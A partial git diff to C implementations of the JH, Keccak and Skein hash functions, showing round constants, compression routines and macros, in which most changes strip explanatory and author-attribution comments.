JH256_H0[128]={0xeb,0x98,0xa3,0x41,0x2c,0x20,0xd3,0xeb,0x92,0xcd,0xbe,0x7b,0x9c,0xb2,0x45,0xc1,0x1c,0x93,0x51,0x91,0x60,0xd4,0xc7,0xfa,0x26,0x0,0x82,0xd6,0x7e,0x50,0x8a,0x3,0xa4,0x23,0x9e,0x26,0x77,0x26,0xb9,0x45,0xe0,0xfb,0x1a,0x48,0xd4,0x1a,0x94,0x77,0xcd,0xb5,0xab,0x26,0x2,0x6b,0x17,0x7a,0x56,0xf0,0x24,0x42,0xf,0xff,0x2f,0xa8,0x71,0xa3,0x96,0x89,0x7f,0x2e,0x4d,0x75,0x1d,0x14,0x49,0x8,0xf7,0x7d,0xe2,0x62,0x27,0x76,0x95,0xf7,0x76,0x24,0x8f,0x94,0x87,0xd5,0xb6,0x57,0x47,0x80,0x29,0x6c,0x5c,0x5e,0x27,0x2d,0xac,0x8e,0xd,0x6c,0x51,0x84,0x50,0xc6,0x57,0x5,0x7a,0xf,0x7b,0xe4,0xd3,0x67,0x70,0x24,0x12,0xea,0x89,0xe3,0xab,0x13,0xd3,0x1c,0xd7,0x69}; const unsigned char JH384_H0[128]={0x48,0x1e,0x3b,0xc6,0xd8,0x13,0x39,0x8a,0x6d,0x3b,0x5e,0x89,0x4a,0xde,0x87,0x9b,0x63,0xfa,0xea,0x68,0xd4,0x80,0xad,0x2e,0x33,0x2c,0xcb,0x21,0x48,0xf,0x82,0x67,0x98,0xae,0xc8,0x4d,0x90,0x82,0xb9,0x28,0xd4,0x55,0xea,0x30,0x41,0x11,0x42,0x49,0x36,0xf5,0x55,0xb2,0x92,0x48,0x47,0xec,0xc7,0x25,0xa,0x93,0xba,0xf4,0x3c,0xe1,0x56,0x9b,0x7f,0x8a,0x27,0xdb,0x45,0x4c,0x9e,0xfc,0xbd,0x49,0x63,0x97,0xaf,0xe,0x58,0x9f,0xc2,0x7d,0x26,0xaa,0x80,0xcd,0x80,0xc0,0x8b,0x8c,0x9d,0xeb,0x2e,0xda,0x8a,0x79,0x81,0xe8,0xf8,0xd5,0x37,0x3a,0xf4,0x39,0x67,0xad,0xdd,0xd1,0x7a,0x71,0xa9,0xb4,0xd3,0xbd,0xa4,0x75,0xd3,0x94,0x97,0x6c,0x3f,0xba,0x98,0x42,0x73,0x7f}; const unsigned char JH512_H0[128]={0x6f,0xd1,0x4b,0x96,0x3e,0x0,0xaa,0x17,0x63,0x6a,0x2e,0x5,0x7a,0x15,0xd5,0x43,0x8a,0x22,0x5e,0x8d,0xc,0x97,0xef,0xb,0xe9,0x34,0x12,0x59,0xf2,0xb3,0xc3,0x61,0x89,0x1d,0xa0,0xc1,0x53,0x6f,0x80,0x1e,0x2a,0xa9,0x5,0x6b,0xea,0x2b,0x6d,0x80,0x58,0x8e,0xcc,0xdb,0x20,0x75,0xba,0xa6,0xa9,0xf,0x3a,0x76,0xba,0xf8,0x3b,0xf7,0x1,0x69,0xe6,0x5,0x41,0xe3,0x4a,0x69,0x46,0xb5,0x8a,0x8e,0x2e,0x6f,0xe6,0x5a,0x10,0x47,0xa7,0xd0,0xc1,0x84,0x3c,0x24,0x3b,0x6e,0x71,0xb1,0x2d,0x5a,0xc1,0x99,0xcf,0x57,0xf6,0xec,0x9d,0xb1,0xf8,0x56,0xa7,0x6,0x88,0x7c,0x57,0x16,0xb1,0x56,0xe3,0xc2,0xfc,0xdf,0xe6,0x85,0x17,0xfb,0x54,0x5a,0x46,0x78,0xcc,0x8c,0xdd,0x4b}; -/*42 round constants, each round constant is 32-byte (256-bit)*/ + const unsigned char E8_bitslice_roundconstant[42][32]={ {0x72,0xd5,0xde,0xa2,0xdf,0x15,0xf8,0x67,0x7b,0x84,0x15,0xa,0xb7,0x23,0x15,0x57,0x81,0xab,0xd6,0x90,0x4d,0x5a,0x87,0xf6,0x4e,0x9f,0x4f,0xc5,0xc3,0xd1,0x2b,0x40}, {0xea,0x98,0x3a,0xe0,0x5c,0x45,0xfa,0x9c,0x3,0xc5,0xd2,0x99,0x66,0xb2,0x99,0x9a,0x66,0x2,0x96,0xb4,0xf2,0xbb,0x53,0x8a,0xb5,0x56,0x14,0x1a,0x88,0xdb,0xa2,0x31}, @@ -90,29 +75,29 @@ const unsigned char E8_bitslice_roundconstant[42][32]={ {0x35,0xb4,0x98,0x31,0xdb,0x41,0x15,0x70,0xea,0x1e,0xf,0xbb,0xed,0xcd,0x54,0x9b,0x9a,0xd0,0x63,0xa1,0x51,0x97,0x40,0x72,0xf6,0x75,0x9d,0xbf,0x91,0x47,0x6f,0xe2}}; -static void E8(hashState *state); /*The bijective function E8, in bitslice form*/ -static void F8(hashState *state); /*The compression function F8 */ +static void E8(hashState *state); +static void F8(hashState *state); + -/*The API functions*/ static HashReturn Init(hashState *state, int hashbitlen); static HashReturn Update(hashState *state, const BitSequence *data, DataLength databitlen); static HashReturn Final(hashState *state, BitSequence *hashval); HashReturn jh_hash(int hashbitlen, const BitSequence *data,DataLength databitlen, BitSequence *hashval); -/*swapping bit 2i with bit 2i+1 of 64-bit x*/ + #define SWAP1(x) (x) = ((((x) & 0x5555555555555555ULL) << 1) | (((x) & 0xaaaaaaaaaaaaaaaaULL) >> 1)); -/*swapping bits 4i||4i+1 with bits 4i+2||4i+3 of 64-bit x*/ + #define SWAP2(x) (x) = ((((x) & 0x3333333333333333ULL) << 2) | (((x) & 0xccccccccccccccccULL) >> 2)); -/*swapping bits 8i||8i+1||8i+2||8i+3 with bits 8i+4||8i+5||8i+6||8i+7 of 64-bit x*/ + #define SWAP4(x) (x) = ((((x) & 0x0f0f0f0f0f0f0f0fULL) << 4) | (((x) & 0xf0f0f0f0f0f0f0f0ULL) >> 4)); -/*swapping bits 16i||16i+1||......||16i+7 with bits 16i+8||16i+9||......||16i+15 of 64-bit x*/ + #define SWAP8(x) (x) = ((((x) & 0x00ff00ff00ff00ffULL) << 8) | (((x) & 0xff00ff00ff00ff00ULL) >> 8)); -/*swapping bits 32i||32i+1||......||32i+15 with bits 32i+16||32i+17||......||32i+31 of 64-bit x*/ + #define SWAP16(x) (x) = ((((x) & 0x0000ffff0000ffffULL) << 16) | (((x) & 0xffff0000ffff0000ULL) >> 16)); -/*swapping bits 64i||64i+1||......||64i+31 with bits 64i+32||64i+33||......||64i+63 of 64-bit x*/ + #define SWAP32(x) (x) = (((x) << 32) | ((x) >> 32)); -/*The MDS transform*/ + #define L(m0,m1,m2,m3,m4,m5,m6,m7) \ (m4) ^= (m1); \ (m5) ^= (m2); \ @@ -123,8 +108,8 @@ HashReturn jh_hash(int hashbitlen, const BitSequence *data,DataLength databitlen (m2) ^= (m4) ^ (m7); \ (m3) ^= (m4); -/*Two Sboxes are computed in parallel, each Sbox implements S0 and S1, selected by a constant bit*/ -/*The reason to compute two Sboxes in parallel is to try to fully utilize the parallel processing power*/ + + #define SS(m0,m1,m2,m3,m4,m5,m6,m7,cc0,cc1) \ m3 = ~(m3); \ m7 = ~(m7); \ @@ -149,60 +134,60 @@ HashReturn jh_hash(int hashbitlen, const BitSequence *data,DataLength databitlen m2 ^= temp0; \ m6 ^= temp1; -/*The bijective function E8, in bitslice form*/ + static void E8(hashState *state) { uint64 i,roundnumber,temp0,temp1; for (roundnumber = 0; roundnumber < 42; roundnumber = roundnumber+7) { - /*round 7*roundnumber+0: Sbox, MDS and Swapping layers*/ + for (i = 0; i < 2; i++) { SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+0])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+0])[i+2] ); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); SWAP1(state->x[1][i]); SWAP1(state->x[3][i]); SWAP1(state->x[5][i]); SWAP1(state->x[7][i]); } - /*round 7*roundnumber+1: Sbox, MDS and Swapping layers*/ + for (i = 0; i < 2; i++) { SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+1])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+1])[i+2] ); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); SWAP2(state->x[1][i]); SWAP2(state->x[3][i]); SWAP2(state->x[5][i]); SWAP2(state->x[7][i]); } - /*round 7*roundnumber+2: Sbox, MDS and Swapping layers*/ + for (i = 0; i < 2; i++) { SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+2])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+2])[i+2] ); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); SWAP4(state->x[1][i]); SWAP4(state->x[3][i]); SWAP4(state->x[5][i]); SWAP4(state->x[7][i]); } - /*round 7*roundnumber+3: Sbox, MDS and Swapping layers*/ + for (i = 0; i < 2; i++) { SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+3])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+3])[i+2] ); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); SWAP8(state->x[1][i]); SWAP8(state->x[3][i]); SWAP8(state->x[5][i]); SWAP8(state->x[7][i]); } - /*round 7*roundnumber+4: Sbox, MDS and Swapping layers*/ + for (i = 0; i < 2; i++) { SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+4])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+4])[i+2] ); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); SWAP16(state->x[1][i]); SWAP16(state->x[3][i]); SWAP16(state->x[5][i]); SWAP16(state->x[7][i]); } - /*round 7*roundnumber+5: Sbox, MDS and Swapping layers*/ + for (i = 0; i < 2; i++) { SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+5])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+5])[i+2] ); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); SWAP32(state->x[1][i]); SWAP32(state->x[3][i]); SWAP32(state->x[5][i]); SWAP32(state->x[7][i]); } - /*round 7*roundnumber+6: Sbox and MDS layers*/ + for (i = 0; i < 2; i++) { SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+6])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+6])[i+2] ); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); } - /*round 7*roundnumber+6: swapping layer*/ + for (i = 1; i < 8; i = i+2) { temp0 = state->x[i][0]; state->x[i][0] = state->x[i][1]; state->x[i][1] = temp0; } @@ -210,31 +195,31 @@ static void E8(hashState *state) } -/*The compression function F8 */ + static void F8(hashState *state) { uint64 i; - /*xor the 512-bit message with the fist half of the 1024-bit hash state*/ + for (i = 0; i < 8; i++) state->x[i >> 1][i & 1] ^= ((uint64*)state->buffer)[i]; - /*the bijective function E8 */ + E8(state); - /*xor the 512-bit message with the second half of the 1024-bit hash state*/ + for (i = 0; i < 8; i++) state->x[(8+i) >> 1][(8+i) & 1] ^= ((uint64*)state->buffer)[i]; } -/*before hashing a message, initialize the hash state as H0 */ + static HashReturn Init(hashState *state, int hashbitlen) { state->databitlen = 0; state->datasize_in_buffer = 0; - /*initialize the initial hash value of JH*/ + state->hashbitlen = hashbitlen; - /*load the intital hash value into state*/ + switch (hashbitlen) { case 224: memcpy(state->x,JH224_H0,128); break; @@ -247,18 +232,18 @@ static HashReturn Init(hashState *state, int hashbitlen) } -/*hash each 512-bit message block, except the last partial block*/ + static HashReturn Update(hashState *state, const BitSequence *data, DataLength databitlen) { - DataLength index; /*the starting address of the data to be compressed*/ + DataLength index; state->databitlen += databitlen; index = 0; - /*if there is remaining data in the buffer, fill it to a full message block first*/ - /*we assume that the size of the data in the buffer is the multiple of 8 bits if it is not at the end of a message*/ + + - /*There is data in the buffer, but the incoming data is insufficient for a full block*/ + if ( (state->datasize_in_buffer > 0 ) && (( state->datasize_in_buffer + databitlen) < 512) ) { if ( (databitlen & 7) == 0 ) { memcpy(state->buffer + (state->datasize_in_buffer >> 3), data, 64-(state->datasize_in_buffer >> 3)) ; @@ -268,7 +253,7 @@ static HashReturn Update(hashState *state, const BitSequence *data, DataLength d databitlen = 0; } - /*There is data in the buffer, and the incoming data is sufficient for a full block*/ + if ( (state->datasize_in_buffer > 0 ) && (( state->datasize_in_buffer + databitlen) >= 512) ) { memcpy( state->buffer + (state->datasize_in_buffer >> 3), data, 64-(state->datasize_in_buffer >> 3) ) ; index = 64-(state->datasize_in_buffer >> 3); @@ -277,13 +262,13 @@ static HashReturn Update(hashState *state, const BitSequence *data, DataLength d state->datasize_in_buffer = 0; } - /*hash the remaining full message blocks*/ + for ( ; databitlen >= 512; index = index+64, databitlen = databitlen - 512) { memcpy(state->buffer, data+index, 64); F8(state); } - /*store the partial block into buffer, assume that -- if part of the last byte is not part of the message, then that part consists of 0 bits*/ + if ( databitlen > 0) { if ((databitlen & 7) == 0) memcpy(state->buffer, data+index, (databitlen & 0x1ff) >> 3); @@ -295,13 +280,13 @@ static HashReturn Update(hashState *state, const BitSequence *data, DataLength d return(SUCCESS); } -/*pad the message, process the padded block(s), truncate the hash value H to obtain the message digest*/ + static HashReturn Final(hashState *state, BitSequence *hashval) { unsigned int i; if ( (state->databitlen & 0x1ff) == 0 ) { - /*pad the message when databitlen is multiple of 512 bits, then process the padded block*/ + memset(state->buffer, 0, 64); state->buffer[0] = 0x80; state->buffer[63] = state->databitlen & 0xff; @@ -315,13 +300,13 @@ static HashReturn Final(hashState *state, BitSequence *hashval) F8(state); } else { - /*set the rest of the bytes in the buffer to 0*/ + if ( (state->datasize_in_buffer & 7) == 0) for (i = (state->databitlen & 0x1ff) >> 3; i < 64; i++) state->buffer[i] = 0; else for (i = ((state->databitlen & 0x1ff) >> 3)+1; i < 64; i++) state->buffer[i] = 0; - /*pad and process the partial block when databitlen is not multiple of 512 bits, then hash the padded blocks*/ + state->buffer[((state->databitlen & 0x1ff) >> 3)] |= 1 << (7- (state->databitlen & 7)); F8(state); @@ -337,7 +322,7 @@ static HashReturn Final(hashState *state, BitSequence *hashval) F8(state); } - /*truncating the final hash value to generate the message digest*/ + switch(state->hashbitlen) { case 224: memcpy(hashval,(unsigned char*)state->x+64+36,28); break; case 256: memcpy(hashval,(unsigned char*)state->x+64+32,32); break; diff --git a/src/crypto/c_jh.h b/src/crypto/c_jh.h index d10d40fe..697d6c8a 100644 --- a/src/crypto/c_jh.h +++ b/src/crypto/c_jh.h @@ -1,17 +1,3 @@ -/*This program gives the 64-bit optimized bitslice implementation of JH using ANSI C - - -------------------------------- - Performance - - Microprocessor: Intel CORE 2 processor (Core 2 Duo Mobile T6600 2.2GHz) - Operating System: 64-bit Ubuntu 10.04 (Linux kernel 2.6.32-22-generic) - Speed for long message: - 1) 45.8 cycles/byte compiler: Intel C++ Compiler 11.1 compilation option: icc -O2 - 2) 56.8 cycles/byte compiler: gcc 4.4.3 compilation option: gcc -O3 - - -------------------------------- - Last Modified: January 16, 2011 -*/ #pragma once #include "hash.h" diff --git a/src/crypto/c_keccak.c b/src/crypto/c_keccak.c index 997db241..b56d761a 100644 --- a/src/crypto/c_keccak.c +++ b/src/crypto/c_keccak.c @@ -1,7 +1,3 @@ -// keccak.c -// 19-Nov-11 Markku-Juhani O. Saarinen -// A baseline Keccak (3rd round) implementation. - #include #include diff --git a/src/crypto/c_skein.c b/src/crypto/c_skein.c index 994e4d46..04c124e0 100644 --- a/src/crypto/c_skein.c +++ b/src/crypto/c_skein.c @@ -1,24 +1,14 @@ -/*********************************************************************** -** -** Implementation of the Skein hash function. -** -** Source code author: Doug Whiting, 2008. -** -** This algorithm and source code is released to the public domain. -** -************************************************************************/ +#define SKEIN_PORT_CODE -#define SKEIN_PORT_CODE /* instantiate any code in skein_port.h */ - -#include /* get size_t definition */ -#include /* get the memcpy/memset functions */ -#include "c_skein.h" /* get the Skein API definitions */ +#include +#include +#include "c_skein.h" #ifndef SKEIN_512_NIST_MAX_HASHBITS #define SKEIN_512_NIST_MAX_HASHBITS (512) #endif -#define SKEIN_MODIFIER_WORDS ( 2) /* number of modifier (tweak) words */ +#define SKEIN_MODIFIER_WORDS ( 2) #define SKEIN_512_STATE_WORDS ( 8) #define SKEIN_MAX_STATE_WORDS (16) @@ -34,19 +24,19 @@ typedef struct { - size_t hashBitLen; /* size of hash result, in bits */ - size_t bCnt; /* current byte count in buffer b[] */ - u64b_t T[SKEIN_MODIFIER_WORDS]; /* tweak words: T[0]=byte cnt, T[1]=flags */ + size_t hashBitLen; + size_t bCnt; + u64b_t T[SKEIN_MODIFIER_WORDS]; } Skein_Ctxt_Hdr_t; -typedef struct /* 512-bit Skein hash context structure */ +typedef struct { - Skein_Ctxt_Hdr_t h; /* common header context variables */ - u64b_t X[SKEIN_512_STATE_WORDS]; /* chaining variables */ - u08b_t b[SKEIN_512_BLOCK_BYTES]; /* partial block buffer (8-byte aligned) */ + Skein_Ctxt_Hdr_t h; + u64b_t X[SKEIN_512_STATE_WORDS]; + u08b_t b[SKEIN_512_BLOCK_BYTES]; } Skein_512_Ctxt_t; -/* Skein APIs for (incremental) "straight hashing" */ + static int Skein_512_Init (Skein_512_Ctxt_t *ctx, size_t hashBitLen); static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msgByteCnt); static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal); @@ -54,61 +44,51 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal); #ifndef SKEIN_TREE_HASH #define SKEIN_TREE_HASH (1) #endif +#define SKEIN_T1_BIT(BIT) ((BIT) - 64) -/***************************************************************** -** "Internal" Skein definitions -** -- not needed for sequential hashing API, but will be -** helpful for other uses of Skein (e.g., tree hash mode). -** -- included here so that they can be shared between -** reference and optimized code. -******************************************************************/ +#define SKEIN_T1_POS_TREE_LVL SKEIN_T1_BIT(112) +#define SKEIN_T1_POS_BIT_PAD SKEIN_T1_BIT(119) +#define SKEIN_T1_POS_BLK_TYPE SKEIN_T1_BIT(120) +#define SKEIN_T1_POS_FIRST SKEIN_T1_BIT(126) +#define SKEIN_T1_POS_FINAL SKEIN_T1_BIT(127) -/* tweak word T[1]: bit field starting positions */ -#define SKEIN_T1_BIT(BIT) ((BIT) - 64) /* offset 64 because it's the second word */ -#define SKEIN_T1_POS_TREE_LVL SKEIN_T1_BIT(112) /* bits 112..118: level in hash tree */ -#define SKEIN_T1_POS_BIT_PAD SKEIN_T1_BIT(119) /* bit 119 : partial final input byte */ -#define SKEIN_T1_POS_BLK_TYPE SKEIN_T1_BIT(120) /* bits 120..125: type field */ -#define SKEIN_T1_POS_FIRST SKEIN_T1_BIT(126) /* bits 126 : first block flag */ -#define SKEIN_T1_POS_FINAL SKEIN_T1_BIT(127) /* bit 127 : final block flag */ - -/* tweak word T[1]: flag bit definition(s) */ #define SKEIN_T1_FLAG_FIRST (((u64b_t) 1 ) << SKEIN_T1_POS_FIRST) #define SKEIN_T1_FLAG_FINAL (((u64b_t) 1 ) << SKEIN_T1_POS_FINAL) #define SKEIN_T1_FLAG_BIT_PAD (((u64b_t) 1 ) << SKEIN_T1_POS_BIT_PAD) -/* tweak word T[1]: tree level bit field mask */ + #define SKEIN_T1_TREE_LVL_MASK (((u64b_t)0x7F) << SKEIN_T1_POS_TREE_LVL) #define SKEIN_T1_TREE_LEVEL(n) (((u64b_t) (n)) << SKEIN_T1_POS_TREE_LVL) -/* tweak word T[1]: block type field */ -#define SKEIN_BLK_TYPE_KEY ( 0) /* key, for MAC and KDF */ -#define SKEIN_BLK_TYPE_CFG ( 4) /* configuration block */ -#define SKEIN_BLK_TYPE_PERS ( 8) /* personalization string */ -#define SKEIN_BLK_TYPE_PK (12) /* public key (for digital signature hashing) */ -#define SKEIN_BLK_TYPE_KDF (16) /* key identifier for KDF */ -#define SKEIN_BLK_TYPE_NONCE (20) /* nonce for PRNG */ -#define SKEIN_BLK_TYPE_MSG (48) /* message processing */ -#define SKEIN_BLK_TYPE_OUT (63) /* output stage */ -#define SKEIN_BLK_TYPE_MASK (63) /* bit field mask */ + +#define SKEIN_BLK_TYPE_KEY ( 0) +#define SKEIN_BLK_TYPE_CFG ( 4) +#define SKEIN_BLK_TYPE_PERS ( 8) +#define SKEIN_BLK_TYPE_PK (12) +#define SKEIN_BLK_TYPE_KDF (16) +#define SKEIN_BLK_TYPE_NONCE (20) +#define SKEIN_BLK_TYPE_MSG (48) +#define SKEIN_BLK_TYPE_OUT (63) +#define SKEIN_BLK_TYPE_MASK (63) #define SKEIN_T1_BLK_TYPE(T) (((u64b_t) (SKEIN_BLK_TYPE_##T)) << SKEIN_T1_POS_BLK_TYPE) -#define SKEIN_T1_BLK_TYPE_KEY SKEIN_T1_BLK_TYPE(KEY) /* key, for MAC and KDF */ -#define SKEIN_T1_BLK_TYPE_CFG SKEIN_T1_BLK_TYPE(CFG) /* configuration block */ -#define SKEIN_T1_BLK_TYPE_PERS SKEIN_T1_BLK_TYPE(PERS) /* personalization string */ -#define SKEIN_T1_BLK_TYPE_PK SKEIN_T1_BLK_TYPE(PK) /* public key (for digital signature hashing) */ -#define SKEIN_T1_BLK_TYPE_KDF SKEIN_T1_BLK_TYPE(KDF) /* key identifier for KDF */ -#define SKEIN_T1_BLK_TYPE_NONCE SKEIN_T1_BLK_TYPE(NONCE)/* nonce for PRNG */ -#define SKEIN_T1_BLK_TYPE_MSG SKEIN_T1_BLK_TYPE(MSG) /* message processing */ -#define SKEIN_T1_BLK_TYPE_OUT SKEIN_T1_BLK_TYPE(OUT) /* output stage */ -#define SKEIN_T1_BLK_TYPE_MASK SKEIN_T1_BLK_TYPE(MASK) /* field bit mask */ +#define SKEIN_T1_BLK_TYPE_KEY SKEIN_T1_BLK_TYPE(KEY) +#define SKEIN_T1_BLK_TYPE_CFG SKEIN_T1_BLK_TYPE(CFG) +#define SKEIN_T1_BLK_TYPE_PERS SKEIN_T1_BLK_TYPE(PERS) +#define SKEIN_T1_BLK_TYPE_PK SKEIN_T1_BLK_TYPE(PK) +#define SKEIN_T1_BLK_TYPE_KDF SKEIN_T1_BLK_TYPE(KDF) +#define SKEIN_T1_BLK_TYPE_NONCE SKEIN_T1_BLK_TYPE(NONCE) +#define SKEIN_T1_BLK_TYPE_MSG SKEIN_T1_BLK_TYPE(MSG) +#define SKEIN_T1_BLK_TYPE_OUT SKEIN_T1_BLK_TYPE(OUT) +#define SKEIN_T1_BLK_TYPE_MASK SKEIN_T1_BLK_TYPE(MASK) #define SKEIN_T1_BLK_TYPE_CFG_FINAL (SKEIN_T1_BLK_TYPE_CFG | SKEIN_T1_FLAG_FINAL) #define SKEIN_T1_BLK_TYPE_OUT_FINAL (SKEIN_T1_BLK_TYPE_OUT | SKEIN_T1_FLAG_FINAL) #define SKEIN_VERSION (1) -#ifndef SKEIN_ID_STRING_LE /* allow compile-time personalization */ +#ifndef SKEIN_ID_STRING_LE #define SKEIN_ID_STRING_LE (0x33414853) /* "SHA3" (little-endian)*/ #endif @@ -118,7 +98,7 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal); #define SKEIN_CFG_STR_LEN (4*8) -/* bit field definitions in config block treeInfo word */ + #define SKEIN_CFG_TREE_LEAF_SIZE_POS ( 0) #define SKEIN_CFG_TREE_NODE_SIZE_POS ( 8) #define SKEIN_CFG_TREE_MAX_LEVEL_POS (16) @@ -132,12 +112,7 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal); (((u64b_t)(node )) << SKEIN_CFG_TREE_NODE_SIZE_POS) | \ (((u64b_t)(maxLvl)) << SKEIN_CFG_TREE_MAX_LEVEL_POS) ) -#define SKEIN_CFG_TREE_INFO_SEQUENTIAL SKEIN_CFG_TREE_INFO(0,0,0) /* use as treeInfo in InitExt() call for sequential processing */ - -/* -** Skein macros for getting/setting tweak words, etc. -** These are useful for partial input bytes, hash tree init/update, etc. -**/ +#define SKEIN_CFG_TREE_INFO_SEQUENTIAL SKEIN_CFG_TREE_INFO(0,0,0) #define Skein_Get_Tweak(ctxPtr,TWK_NUM) ((ctxPtr)->h.T[TWK_NUM]) #define Skein_Set_Tweak(ctxPtr,TWK_NUM,tVal) {(ctxPtr)->h.T[TWK_NUM] = (tVal);} @@ -146,7 +121,7 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal); #define Skein_Set_T0(ctxPtr,T0) Skein_Set_Tweak(ctxPtr,0,T0) #define Skein_Set_T1(ctxPtr,T1) Skein_Set_Tweak(ctxPtr,1,T1) -/* set both tweak words at once */ + #define Skein_Set_T0_T1(ctxPtr,T0,T1) \ { \ Skein_Set_T0(ctxPtr,(T0)); \ @@ -156,7 +131,7 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal); #define Skein_Set_Type(ctxPtr,BLK_TYPE) \ Skein_Set_T1(ctxPtr,SKEIN_T1_BLK_TYPE_##BLK_TYPE) -/* set up for starting with a new type: h.T[0]=0; h.T[1] = NEW_TYPE; h.bCnt=0; */ + #define Skein_Start_New_Type(ctxPtr,BLK_TYPE) \ { Skein_Set_T0_T1(ctxPtr,0,SKEIN_T1_FLAG_FIRST | SKEIN_T1_BLK_TYPE_##BLK_TYPE); (ctxPtr)->h.bCnt=0; } @@ -164,10 +139,6 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal); #define Skein_Set_Bit_Pad_Flag(hdr) { (hdr).T[1] |= SKEIN_T1_FLAG_BIT_PAD; } #define Skein_Set_Tree_Level(hdr,height) { (hdr).T[1] |= SKEIN_T1_TREE_LEVEL(height);} - -/***************************************************************** -** "Internal" Skein definitions for debugging and error checking -******************************************************************/ #define Skein_Show_Block(bits,ctx,X,blkPtr,wPtr,ksEvenPtr,ksOddPtr) #define Skein_Show_Round(bits,ctx,r,X) #define Skein_Show_R_Ptr(bits,ctx,r,X_ptr) @@ -175,8 +146,8 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal); #define Skein_Show_Key(bits,ctx,key,keyBytes) -#ifndef SKEIN_ERR_CHECK /* run-time checks (e.g., bad params, uninitialized context)? */ -#define Skein_Assert(x,retCode)/* default: ignore all Asserts, for performance */ +#ifndef SKEIN_ERR_CHECK +#define Skein_Assert(x,retCode) #define Skein_assert(x) #elif defined(SKEIN_ASSERT) #include @@ -184,16 +155,12 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal); #define Skein_assert(x) assert(x) #else #include -#define Skein_Assert(x,retCode) { if (!(x)) return retCode; } /* caller error */ -#define Skein_assert(x) assert(x) /* internal error */ +#define Skein_Assert(x,retCode) { if (!(x)) return retCode; } +#define Skein_assert(x) assert(x) #endif - -/***************************************************************** -** Skein block function constants (shared across Ref and Opt code) -******************************************************************/ enum { - /* Skein_512 round rotation constants */ + R_512_0_0=46, R_512_0_1=36, R_512_0_2=19, R_512_0_3=37, R_512_1_0=33, R_512_1_1=27, R_512_1_2=14, R_512_1_3=42, R_512_2_0=17, R_512_2_1=49, R_512_2_2=36, R_512_2_3=39, @@ -206,28 +173,13 @@ enum #ifndef SKEIN_ROUNDS #define SKEIN_512_ROUNDS_TOTAL (72) -#else /* allow command-line define in range 8*(5..14) */ +#else #define SKEIN_512_ROUNDS_TOTAL (8*((((SKEIN_ROUNDS/ 10) + 5) % 10) + 5)) #endif - -/* -***************** Pre-computed Skein IVs ******************* -** -** NOTE: these values are not "magic" constants, but -** are generated using the Threefish block function. -** They are pre-computed here only for speed; i.e., to -** avoid the need for a Threefish call during Init(). -** -** The IV for any fixed hash length may be pre-computed. -** Only the most common values are included here. -** -************************************************************ -**/ - #define MK_64 SKEIN_MK_64 -/* blkSize = 512 bits. hashSize = 256 bits */ + const u64b_t SKEIN_512_IV_256[] = { MK_64(0xCCD044A1,0x2FDB3E13), @@ -241,14 +193,14 @@ const u64b_t SKEIN_512_IV_256[] = }; #ifndef SKEIN_USE_ASM -#define SKEIN_USE_ASM (0) /* default is all C code (no ASM) */ +#define SKEIN_USE_ASM (0) #endif #ifndef SKEIN_LOOP -#define SKEIN_LOOP 001 /* default: unroll 256 and 512, but not 1024 */ +#define SKEIN_LOOP 001 #endif -#define BLK_BITS (WCNT*64) /* some useful definitions for code here */ +#define BLK_BITS (WCNT*64) #define KW_TWK_BASE (0) #define KW_KEY_BASE (3) #define ks (kw + KW_KEY_BASE) @@ -260,10 +212,9 @@ const u64b_t SKEIN_512_IV_256[] = #define DebugSaveTweak(ctx) #endif -/***************************** Skein_512 ******************************/ 